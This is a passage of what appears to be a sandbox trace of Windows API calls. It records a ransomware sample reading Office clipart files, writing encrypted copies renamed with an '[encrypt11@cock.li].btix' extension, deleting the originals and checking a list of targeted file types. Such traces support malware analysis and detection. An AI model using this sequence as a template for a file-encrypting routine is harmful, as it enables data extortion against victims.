dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0143.605] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=5880) returned 1 [0143.605] CloseHandle (hObject=0x530) returned 1 [0143.605] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 0x220 [0143.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0143.841] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.841] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0143.841] GetLastError () returned 0x0 [0143.841] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x16f8, lpOverlapped=0x0) returned 1 [0143.843] WriteFile (in: hFile=0x370, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x1700, lpOverlapped=0x0) returned 1 [0143.844] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.844] WriteFile (in: hFile=0x370, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.844] SetEndOfFile (hFile=0x370) returned 1 [0143.844] CloseHandle (hObject=0x370) returned 1 [0143.844] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.844] SetEndOfFile (hFile=0x3b0) returned 1 [0143.846] CloseHandle (hObject=0x3b0) returned 1 [0143.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 1 [0143.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0143.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0143.847] lstrlenW (lpString=".doc") returned 4 [0143.847] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.847] lstrlenW (lpString=".docx") returned 5 [0143.847] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0143.847] lstrlenW (lpString=".pdf") returned 4 [0143.847] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.848] lstrlenW (lpString=".xls") returned 4 [0143.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.848] lstrlenW (lpString=".xlsx") returned 5 [0143.848] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0143.848] lstrlenW (lpString=".ppt") returned 4 [0143.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0143.848] lstrlenW (lpString=".zip") returned 4 [0143.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.848] lstrlenW (lpString=".rar") returned 4 [0143.848] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.848] lstrlenW (lpString=".bz2") returned 4 [0143.848] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.848] lstrlenW (lpString=".7z") returned 3 [0143.848] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0143.848] lstrlenW (lpString=".dbf") returned 4 [0143.848] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0143.848] lstrlenW (lpString=".1cd") returned 4 [0143.848] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0143.848] lstrlenW (lpString=".jpg") returned 4 [0143.848] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0143.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0143.849] lstrlenW (lpString=".doc") returned 4 [0143.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0143.849] lstrlenW (lpString=".docx") returned 5 [0143.849] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0143.849] lstrlenW (lpString=".pdf") returned 4 [0143.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0143.849] lstrlenW (lpString=".xls") returned 4 [0143.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0143.849] lstrlenW (lpString=".xlsx") returned 5 [0143.849] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0143.849] lstrlenW (lpString=".ppt") returned 4 [0143.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0143.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0143.850] lstrlenW (lpString=".zip") returned 4 [0143.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0143.861] lstrlenW (lpString=".rar") returned 4 [0143.861] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0143.861] lstrlenW (lpString=".bz2") returned 4 [0143.861] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0143.861] lstrlenW (lpString=".7z") returned 3 [0143.861] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0143.861] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0143.862] lstrlenW (lpString=".dbf") returned 4 [0143.862] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0143.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0143.863] lstrlenW (lpString=".1cd") returned 4 [0143.863] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0143.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0143.863] lstrlenW (lpString=".jpg") returned 4 [0143.863] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0143.863] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0143.863] lstrlenW (lpString="J0105410.WMF") returned 12 [0143.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0143.865] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=20444) returned 1 [0143.865] CloseHandle (hObject=0x3b0) returned 1 [0143.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 0x220 [0143.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0143.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0143.866] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.866] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0143.878] GetLastError () returned 0x0 [0143.878] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x4fdc, lpOverlapped=0x0) returned 1 [0143.883] WriteFile (in: hFile=0x370, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0x4fe0, lpOverlapped=0x0) returned 1 [0143.884] ReadFile (in: hFile=0x3b0, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0143.884] WriteFile (in: hFile=0x370, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0143.884] SetEndOfFile (hFile=0x370) returned 1 [0143.900] CloseHandle (hObject=0x370) returned 1 [0143.901] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0143.901] SetEndOfFile (hFile=0x3b0) returned 1 [0143.908] CloseHandle (hObject=0x3b0) returned 1 [0143.908] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0143.920] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 1 [0144.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0144.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0144.156] lstrlenW (lpString=".doc") returned 4 [0144.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.156] lstrlenW (lpString=".docx") returned 5 [0144.156] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0144.156] lstrlenW (lpString=".pdf") returned 4 [0144.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.156] lstrlenW (lpString=".xls") returned 4 [0144.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.156] lstrlenW (lpString=".xlsx") returned 5 [0144.156] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0144.156] lstrlenW (lpString=".ppt") returned 4 [0144.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0144.156] lstrlenW (lpString=".zip") returned 4 [0144.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.157] lstrlenW (lpString=".rar") returned 4 [0144.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.157] lstrlenW (lpString=".bz2") returned 4 [0144.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.157] lstrlenW (lpString=".7z") returned 3 [0144.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0144.157] lstrlenW (lpString=".dbf") returned 4 [0144.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0144.157] lstrlenW (lpString=".1cd") returned 4 [0144.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0144.157] lstrlenW (lpString=".jpg") returned 4 [0144.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0144.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0144.157] lstrlenW (lpString=".doc") returned 4 [0144.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.157] lstrlenW (lpString=".docx") returned 5 [0144.157] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0144.157] lstrlenW (lpString=".pdf") returned 4 [0144.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.157] lstrlenW (lpString=".xls") returned 4 [0144.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.157] lstrlenW (lpString=".xlsx") returned 5 [0144.157] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0144.157] lstrlenW (lpString=".ppt") returned 4 [0144.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0144.157] lstrlenW (lpString=".zip") returned 4 [0144.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.157] lstrlenW (lpString=".rar") returned 4 [0144.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.157] lstrlenW (lpString=".bz2") returned 4 [0144.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.158] lstrlenW (lpString=".7z") returned 3 [0144.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0144.158] lstrlenW (lpString=".dbf") returned 4 [0144.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0144.158] lstrlenW (lpString=".1cd") returned 4 [0144.158] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0144.158] lstrlenW (lpString=".jpg") returned 4 [0144.158] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.158] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0144.158] lstrlenW (lpString="J0105506.WMF") returned 12 [0144.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0144.158] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=2912) returned 1 [0144.158] CloseHandle (hObject=0x390) returned 1 [0144.158] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 0x220 [0144.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0144.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0144.159] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.159] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.159] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0144.160] GetLastError () returned 0x0 [0144.160] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0xb60, lpOverlapped=0x0) returned 1 [0144.268] WriteFile (in: hFile=0x550, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xb70, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xb70, lpOverlapped=0x0) returned 1 [0144.269] ReadFile (in: hFile=0x390, lpBuffer=0x3f8d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1 [0144.269] WriteFile (in: hFile=0x550, lpBuffer=0x3f8d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8d020*, lpNumberOfBytesWritten=0x328fc94*=0xec, lpOverlapped=0x0) returned 1 [0144.269] SetEndOfFile (hFile=0x550) returned 1 [0144.269] CloseHandle (hObject=0x550) returned 1 [0144.269] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.269] SetEndOfFile (hFile=0x390) returned 1 [0144.277] CloseHandle (hObject=0x390) returned 1 [0144.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.277] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105506.wmf")) returned 1 [0144.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0144.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0144.278] lstrlenW (lpString=".doc") returned 4 [0144.278] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.278] lstrlenW (lpString=".docx") returned 5 [0144.278] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0144.278] lstrlenW (lpString=".pdf") returned 4 [0144.278] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.278] lstrlenW (lpString=".xls") returned 4 [0144.278] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.278] lstrlenW (lpString=".xlsx") returned 5 [0144.278] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0144.278] lstrlenW (lpString=".ppt") returned 4 [0144.278] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0144.278] lstrlenW (lpString=".zip") returned 4 [0144.278] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.278] lstrlenW (lpString=".rar") returned 4 [0144.278] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.278] lstrlenW (lpString=".bz2") returned 4 [0144.278] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.278] lstrlenW (lpString=".7z") returned 3 [0144.278] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0144.278] lstrlenW (lpString=".dbf") returned 4 [0144.278] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0144.278] lstrlenW (lpString=".1cd") returned 4 [0144.278] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0144.278] lstrlenW (lpString=".jpg") returned 4 [0144.278] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0144.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0144.279] lstrlenW (lpString=".doc") returned 4 [0144.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0144.279] lstrlenW (lpString=".docx") returned 5 [0144.279] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0144.279] lstrlenW (lpString=".pdf") returned 4 [0144.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0144.279] lstrlenW (lpString=".xls") returned 4 [0144.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0144.279] lstrlenW (lpString=".xlsx") returned 5 [0144.279] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0144.279] lstrlenW (lpString=".ppt") returned 4 [0144.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0144.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0144.279] lstrlenW (lpString=".zip") returned 4 [0144.279] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0144.279] lstrlenW (lpString=".rar") returned 4 [0144.279] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0144.279] lstrlenW (lpString=".bz2") returned 4 [0144.279] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0144.279] lstrlenW (lpString=".7z") returned 3 [0144.279] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0144.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0144.279] lstrlenW (lpString=".dbf") returned 4 [0144.279] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0144.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0144.279] lstrlenW (lpString=".1cd") returned 4 [0144.279] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0144.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105506.WMF") returned 68 [0144.279] lstrlenW (lpString=".jpg") returned 4 [0144.279] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0144.280] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0144.280] lstrlenW (lpString="J0105530.WMF") returned 12 [0144.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0144.280] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=7384) returned 1 [0144.280] CloseHandle (hObject=0x390) returned 1 [0144.280] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105530.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105530.wmf")) returned 0x220 [0144.280] GetFileAttributesW (lpFileName="C:\\Program 